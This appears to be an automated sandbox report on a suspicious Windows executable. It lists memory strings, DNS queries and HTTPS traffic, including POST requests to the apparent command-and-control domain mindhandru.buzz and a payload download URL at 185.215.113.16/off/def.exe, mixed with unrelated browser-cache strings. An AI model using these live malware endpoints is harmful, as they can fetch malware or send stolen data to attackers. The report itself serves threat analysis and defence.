Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: eYAXkcBRfQ.exe, 00000000.00000002.2513178626.00000000001AA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeox
Source: eYAXkcBRfQ.exe, 00000000.00000003.2423066341.0000000000542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exer
Source: eYAXkcBRfQ.exe, 00000000.00000002.2516865458.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: eYAXkcBRfQ.exe, 00000000.00000003.2298022450.000000000051D000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2194018002.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173885979.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2173802722.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210745144.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_91.5.dr	String found in binary or memory: http://schema.org/Organization
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147255165.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_91.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_91.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_91.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_91.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/nschonni
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148570377.0000000005131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_91.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: eYAXkcBRfQ.exe, 00000000.00000003.2120723421.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121653868.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210745144.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121010282.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2146990556.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2298073801.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2147104179.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121294110.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120692064.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2193903896.00000000004B3000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120959832.00000000051AE000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2120582627.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2121484915.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: eYAXkcBRfQ.exe, 00000000.00000003.2147027048.00000000051BA000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2146779563.00000000051B9000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171355677.00000000051BC000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051BB000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2148191881.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/02
Source: eYAXkcBRfQ.exe, 00000000.00000003.2171355677.00000000051BC000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2171052101.00000000051BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/3e
Source: eYAXkcBRfQ.exe, 00000000.00000003.2298073801.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/J
Source: eYAXkcBRfQ.exe, 00000000.00000003.2093492420.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/M
Source: eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2147056480.0000000005132000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: eYAXkcBRfQ.exe, 00000000.00000003.2146795014.0000000005131000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2147056480.0000000005132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apied
Source: eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apip
Source: eYAXkcBRfQ.exe, 00000000.00000003.2422887500.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiz
Source: eYAXkcBRfQ.exe, 00000000.00000003.2193631413.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/e
Source: eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/p
Source: eYAXkcBRfQ.exe, 00000000.00000003.2093543046.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: eYAXkcBRfQ.exe, 00000000.00000003.2193631413.0000000000543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s
Source: eYAXkcBRfQ.exe, 00000000.00000003.2210177564.0000000000543000.00000004.00000020.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2297872572.0000000000543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/uo
Source: eYAXkcBRfQ.exe, 00000000.00000003.2210177564.000000000052B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: eYAXkcBRfQ.exe, 00000000.00000003.2093434036.00000000004CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apip
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_121.5.dr	String found in binary or memory: https://schema.org
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: eYAXkcBRfQ.exe, 00000000.00000003.2094578971.000000000516E000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094634121.000000000516B000.00000004.00000800.00020000.00000000.sdmp, eYAXkcBRfQ.exe, 00000000.00000003.2094708482.000000000516B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_102.5.dr, chromecache_121.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: eYAXkcBRfQ.exe, 00000000.00000003.2148252844.0000000005457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49727 version: TLS 1.2

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: eYAXkcBRfQ.exe

PE file contains section with special chars

Source: eYAXkcBRfQ.exe	Static PE information: section name:
Source: eYAXkcBRfQ.exe	Static PE information: section name: .rsrc
Source: eYAXkcBRfQ.exe	Static PE information: section name: .idata

Source: eYAXkcBRfQ.exe, 00000000.00000003.2359134040.00000000055DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2353268353.0000000005673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2371047102.0000000005861000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2357911129.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2356046693.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361691938.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000002.2525497749.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362719445.00000000055D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2362575278.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2360285930.00000000057BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2354007367.00000000055E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2367080275.000000000571E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2361420360.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364669026.000000000570F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2352092020.0000000005441000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364522213.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2422443227.000000000526A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000002.2524465134.0000000005887000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2368150945.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2355714973.00000000056A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
Source: eYAXkcBRfQ.exe, 00000000.00000003.2364985451.0000000005711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs eYAXkcBRfQ.exe
